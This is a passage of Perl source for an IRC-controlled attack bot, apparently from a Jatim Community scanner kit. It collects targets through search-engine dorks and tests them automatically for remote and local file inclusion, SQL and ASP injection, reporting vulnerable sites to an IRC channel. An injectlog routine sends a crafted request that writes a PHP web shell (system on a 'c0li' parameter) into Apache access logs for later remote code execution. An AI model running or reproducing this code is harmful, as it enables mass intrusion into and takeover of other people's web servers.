    if (fork) { exit; } else {
     my $engx = "LyCos";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### GoodSearch Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "GoodSearch";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### Yahoo Engine
  if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     my $engx = "YahOo";
     my $bugx = $1;
     my $d0rk = $2;
     &aspscan($engx,$bugx,$d0rk);
    }
    exit;
   }
  }
  ##################################################################### 
  ##################################################################### Apache Log Injection
  if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
   if (my $pid = fork) {
    waitpid($pid, 0);
   }
   else {
    if (fork) { exit; } else {
     &injectlog($1,$2);
    }
    exit;
   }
  }
  for(my $c=0; $c<= $#lines; $c++) {
   $line = $lines[$c];
   $line=$line_temp.$line if ($line_temp);
   $line_temp='';
   $line =~ s/\r$//;
   unless ($c == $#lines) {
    parse("$line");
   } else {
    if ($#lines == 0) {
     parse("$line");
    } elsif ($lines[$c] =~ /\r$/) {
     parse("$line");
    } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
     parse("$line");
    } else {
     $line_temp = $line;
    }
   }
  }
 }
}
##################################################################### Procedure
sub injectlog() {
 my $host = $_[0];
 my $port = $_[1];
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 12 Injecting 7 ".$host.":".$port."  12Apache Access Log ... ");
 my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
 $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
 die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 4 Cant Connect to 7 ".$host.":".$port." ");
 print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
 print $sock "Host: ".$host."\r\n";
 print $sock "Connection: close\r\n\r\n";
 close($sock);
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host."  12is Done ... ");
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host."  12RCE Parameter  -> 3 c0li ");
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host."  12RCE Identifier -> 3 JATIMCOM ");
}
#################################################
sub rfiscan() {
 my $engz = $_[0];
 my $bugz = $_[1];
 my $dork = $_[2];
 my $contatore = 0;
 if ($engz =~ /GooGLe/) {
  my @google=&google($dork);
  push(@total, @google);
 }
 if ($engz =~ /AllTheWeb/) {
  my @alltheweb=&alltheweb($dork);
  push(@total, @alltheweb);
 }
 if ($engz =~ /Bing/) {
  my @Bing=&Bing($dork);
  push(@total, @Bing);
 }
 if ($engz =~ /ALtaViSTa/) {
  my @altavista=&altavista($dork);
  push(@total, @altavista);
 }
 if ($engz =~ /AsK/) {
  my @ask=&ask($dork);
  push(@total, @ask);
 }
 if ($engz =~ /UoL/) {
  my @uol=&uol($dork);
  push(@total, @uol);
 }
 if ($engz =~ /LyCos/) {
  my @lycos=&lycos($dork);
  push(@total, @lycos);
 }
 if ($engz =~ /GoodSearch/) {
  my @goodsearch=&goodsearch($dork);
  push(@total, @goodsearch);
 }
 if ($engz =~ /YahOo/) {
  my @yahoo=&yahoo($dork);
  push(@total, @yahoo);
 }
 my @clean=&calculate(@total);
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14RFI 10)( 3@ 14$engz 10) 10 Total: 14 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
 if (scalar(@clean) != 0) {
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Exploiting 14 $dork ");
 }
 my $uni=scalar(@clean);
 foreach my $target (@clean)
 {
  $contatore++;
  if ($contatore==$uni-1){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
  }
  my $xpl  = "http://".$target.$bugz.$injector."?";
  my $vuln = "http://".$target." 12".$bugz." 7".$phpshell."? ";
  my $re   = getcontent($xpl);
  if($re =~ /$rfi_result/ && $re =~ /uid=/){
   os($xpl);
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln."  10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-OFF 10) ");
  }
  elsif($re =~ /$rfi_result/)
  {
   os($xpl);
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln."  10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-ON 10) ");
  }
 }
}
#################################################
sub lfiscan() {
 my $engz = $_[0];
 my $bugz = $_[1];
 my $dork = $_[2];
 my $contatore = 0; 
 if ($engz =~ /GooGLe/) {
  my @google=&google($dork);
  push(@total, @google);
  }
 if ($engz =~ /AllTheWeb/) {
  my @alltheweb=&alltheweb($dork);
  push(@total, @alltheweb);
 }
 if ($engz =~ /Bing/) {
  my @Bing=&Bing($dork);
  push(@total, @Bing);
 }
 if ($engz =~ /ALtaViSTa/) {
  my @altavista=&altavista($dork);
  push(@total, @altavista);
 }
 if ($engz =~ /AsK/) {
  my @ask=&ask($dork);
  push(@total, @ask);
 }
 if ($engz =~ /UoL/) {
  my @uol=&uol($dork);
  push(@total, @uol);
 }
 if ($engz =~ /LyCos/) {
  my @lycos=&lycos($dork);
  push(@total, @lycos);
 }
 if ($engz =~ /GoodSearch/) {
  my @goodsearch=&goodsearch($dork);
  push(@total, @goodsearch);
 }
 if ($engz =~ /YahOo/) {
  my @yahoo=&yahoo($dork);
  push(@total, @yahoo);
 }
 my @clean = &calculate(@total);
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Total: 4 (".scalar(@total).") 12 Clean: 4 (".scalar(@clean).") ");
 if (scalar(@clean) != 0) {
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Exploiting 4 $dork ");
 }
 my $uni=scalar(@clean);
 foreach my $target (@clean)
 {
  $contatore++;
  if ($contatore==$uni-1){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
  }
  my $xpl  = "http://".$target.$bugz.$lfi_test;
  my $vuln = "http://".$target." 12".$bugz." 7".$lfi_test." ";
  my $re   = getcontent($xpl);
  if ($re  =~ /$lfi_output/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln."  15( 7@ 3JATIMCOM 15) ");
  }
 }
}
#################################################
sub sqlscan() {
 my $engz = $_[0];
 my $bugz = $_[1];
 my $dork = $_[2];
 my $contatore = 0;
 if ($engz =~ /GooGLe/) {
  my @google=&google($dork);
  push(@total, @google);
  }
 if ($engz =~ /AllTheWeb/) {
  my @alltheweb=&alltheweb($dork);
  push(@total, @alltheweb);
 }
 if ($engz =~ /Bing/) {
  my @Bing=&Bing($dork);
  push(@total, @Bing);
 }
 if ($engz =~ /ALtaViSTa/) {
  my @altavista=&altavista($dork);
  push(@total, @altavista);
 }
 if ($engz =~ /AsK/) {
  my @ask=&ask($dork);
  push(@total, @ask);
 }
 if ($engz =~ /UoL/) {
  my @uol=&uol($dork);
  push(@total, @uol);
 }
 if ($engz =~ /LyCos/) {
  my @lycos=&lycos($dork);
  push(@total, @lycos);
 }
 if ($engz =~ /GoodSearch/) {
  my @goodsearch=&goodsearch($dork);
  push(@total, @goodsearch);
 }
 if ($engz =~ /YahOo/) {
  my @yahoo=&yahoo($dork);
  push(@total, @yahoo);
 }
 my @clean = &calculate(@total);
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
 if (scalar(@clean) != 0) {
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Exploiting 14 $dork ");
 }
 my $uni = scalar(@clean);
 foreach my $target (@clean)
 {
  $contatore++;
  if ($contatore==$uni-1){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
  }
  my $xpl  = "http://".$target.$bugz.$sql_test;
  my $vuln = "http://".$target." 10".$bugz." 14[SQL] ";
  my $re   = getcontent($xpl);
  if ($re  =~ /$sql_output/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14SQL 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln."  10( 3@ 14Jatimcon 10) ");
  }
 }
}
#################################################
sub aspscan() {
 my $engz = $_[0];
 my $bugz = $_[1];
 my $dork = $_[2];
 my $contatore = 0;
 if ($engz =~ /GooGLe/) {
  my @google=&google($dork);
  push(@total, @google);
  }
 if ($engz =~ /AllTheWeb/) {
  my @alltheweb=&alltheweb($dork);
  push(@total, @alltheweb);
 }
 if ($engz =~ /Bing/) {
  my @Bing=&Bing($dork);
  push(@total, @Bing);
 }
 if ($engz =~ /ALtaViSTa/) {
  my @altavista=&altavista($dork);
  push(@total, @altavista);
 }
 if ($engz =~ /AsK/) {
  my @ask=&ask($dork);
  push(@total, @ask);
 }
 if ($engz =~ /UoL/) {
  my @uol=&uol($dork);
  push(@total, @uol);
 }
 if ($engz =~ /LyCos/) {
  my @lycos=&lycos($dork);
  push(@total, @lycos);
 }
 my @clean = &calculate(@total);
 sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
 if (scalar(@clean) != 0) {
  sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Exploiting 10 $dork ");
 }
 my $uni = scalar(@clean);
 foreach my $target (@clean)
 {
  $contatore++;
  if ($contatore==$uni-1){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
  }
  my $xpl  = "http://".$target.$bugz.$sql_test;
  my $vuln = "http://".$target." 19".$bugz." 14[ASP] ";
  my $re   = getcontent($xpl);
  if ($re  =~ /$asp_output/){
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14ASP 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln."  10( 3@ 14Jatimcon 10) ");
  }
 }
}
#################################################
sub os() {
 my $site = $_[0];
 my $re   = &query($site);
 while ($re =~ m/<br>os:(.+?)<br>/g) {
  $os = $1;
  if ($1 =~ //) { $os = "Unkn0wN"; }
 }
}
#################################################
sub response() {
    my $re = getcontent($injector);
    if ($re =~ /pZLNd8MwEITvg/) {
        sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 «  3MANTAP JAYA 10 » ");
    }
    else {
        sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 «  3BOSOK 10 » ");
    }
}
#################################################
sub getcontent() {
    $url    = $_[0];
    my $req = HTTP::Request->new(GET => $url);
    my $ua  = LWP::UserAgent->new();
    $ua->timeout(5);
    my $response = $ua->request($req);
    return $response->content;
}
#################################################
sub google(){
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=0; $b<=1000; $b+=100){
        my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
        my $Res=query($Go);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /google/){
                my $k=$1;
                my @grep=links($k);
                push(@lst,@grep);
            }
  }
 }
return @lst;
}
#################################################
sub alltheweb() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    my $pg  = 0;
    for ($b=0; $b<=1000; $b+=100) {
        my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
        my $Res = query($all);
        while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
            my $k = $1;
            $k =~ s/ //g;
            my @grep = links($k);
            push( @lst, @grep );
        }
    }
    return @lst;
}
#################################################
sub uol() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10) {
        my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
        my $Res = query($UoL);
        while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
            my $k = $1;
            if ( $k !~ /busca|uol|yahoo/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}
#################################################
sub Bing() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10) {
        my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
        my $Res = query($bing);
        while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
            if ( $1 !~ /msn|live|bing/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}
#################################################
sub altavista(){
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10){
        my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
        my $Res=query($AlT);
        while ($Res=~m/<span class=ngrn>(.+?)\//g){
            if ($1 !~ /altavista/){
                my $k=$1;
                $k=~s/<//g;
                $k=~s/ //g;
                my @grep=links($k);
                push(@lst,@grep);
            }
  }
 }
return @lst;
}
#################################################
sub ask() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    my $pg  = 0;
    for ($b=0; $b<=1000; $b+=10) {
        my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
        my $Res = query($Ask);
        while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            if ($1 !~ /ask.com/){
    my $k = $1;
    my @grep = links($k);
    push( @lst, @grep );
   }
        }
    }
    return @lst;
}
#################################################
sub lycos() {
 my @lst;
 my $key = $_[0];
    my $b   = 0;
 for ($b=0; $b<=1000; $b+=10) {
        my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
        my $Res = query($lyc);
        while ($Res =~ m/href=\"http:\/\/(.+?)\"  >/g) {
            if ($1 !~ /lycos/){
                my $k = $1;
                my @grep = links($k);
                push(@lst, @grep);
            }
        }
    }
    return @lst;
}
#################################################
sub goodsearch() {
 my @lst;
 my $key = $_[0];
    my $b   = 0;
 for ($b=1; $b<=500; $b+=1) {
        my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
        my $Res = query($goods);
        while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
            if ($2 !~ /goodsearch/){
                my $k = $2;
                my @grep = links($k);
                push(@lst, @grep);
            }
        }
    }
    return @lst;
}
#################################################
sub yahoo() {
 my @lst;
 my $key = $_[0];
    my $b   = 0;
 for ($b=1; $b<=500; $b+=1) {
        my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
        my $Res = query($yahoo);
        while ($Res =~ m/26u=(.*?)%26w=/g) {
            if ($1 !~ /yahoo/){
                my $k = $1;
                my @grep = links($k);
                push(@lst, @grep);
            }
        }
    }
    return @lst;
}
#################################################
sub links() {
 my @l;
 my $link = $_[0];
 my $host = $_[0];
 my $hdir = $_[0];
 $hdir =~ s/(.*)\/[^\/]*$/\1/;
 $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
 $host .= "/";
 $link .= "/";
 $hdir .= "/";
 $host =~ s/\/\//\//g;
 $hdir =~ s/\/\//\//g;
 $link =~ s/\/\//\//g;
 push( @l, $link, $host, $hdir );
 return @l;
}
#################################################
sub key() {
 my $dork = $_[0];
 $dork =~ s/ /\+/g;
 $dork =~ s/:/\%3A/g;
 $dork =~ s/\//\%2F/g;
 $dork =~ s/&/\%26/g;
 $dork =~ s/\"/\%22/g;
 $dork =~ s/,/\%2C/g;
 $dork =~ s/\\/\%5C/g;
 return $dork;
}
#################################################
sub query($) {
 my $url = $_[0];
 $url =~ s/http:\/\///;
 my $host  = $url;
 my $query = $url;
 my $page  = "";
 $host  =~ s/href=\"?http:\/\///;
 $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
 $query =~ s/$host//;
 if ( $query eq "" ) { $query = "/"; }
  eval {
   my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
   print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
   my @r = <$sock>;
   $page = "@r";
   close($sock);
  };
 return $page;
}
#################################################
sub calculate {
 my @calculate = ();
 my %visti = ();
 foreach my $element (@_) {
  $element =~ s/\/+/\//g;
  next if $visti{$element}++;
  push @calculate, $element;
 }
 return @calculate;
}
#################################################
sub nick {
 return unless $#_ == 0;
 sendraw("NICK $_[0]");
}
#################################################
sub notice {
 return unless $#_ == 1;
 sendraw("NOTICE $_[0] :$_[1]");
}
##################################################
##################################################
##      ##
##    JATIM COMMUNITY  ##
##      ##
##################################################
##################################################
read more...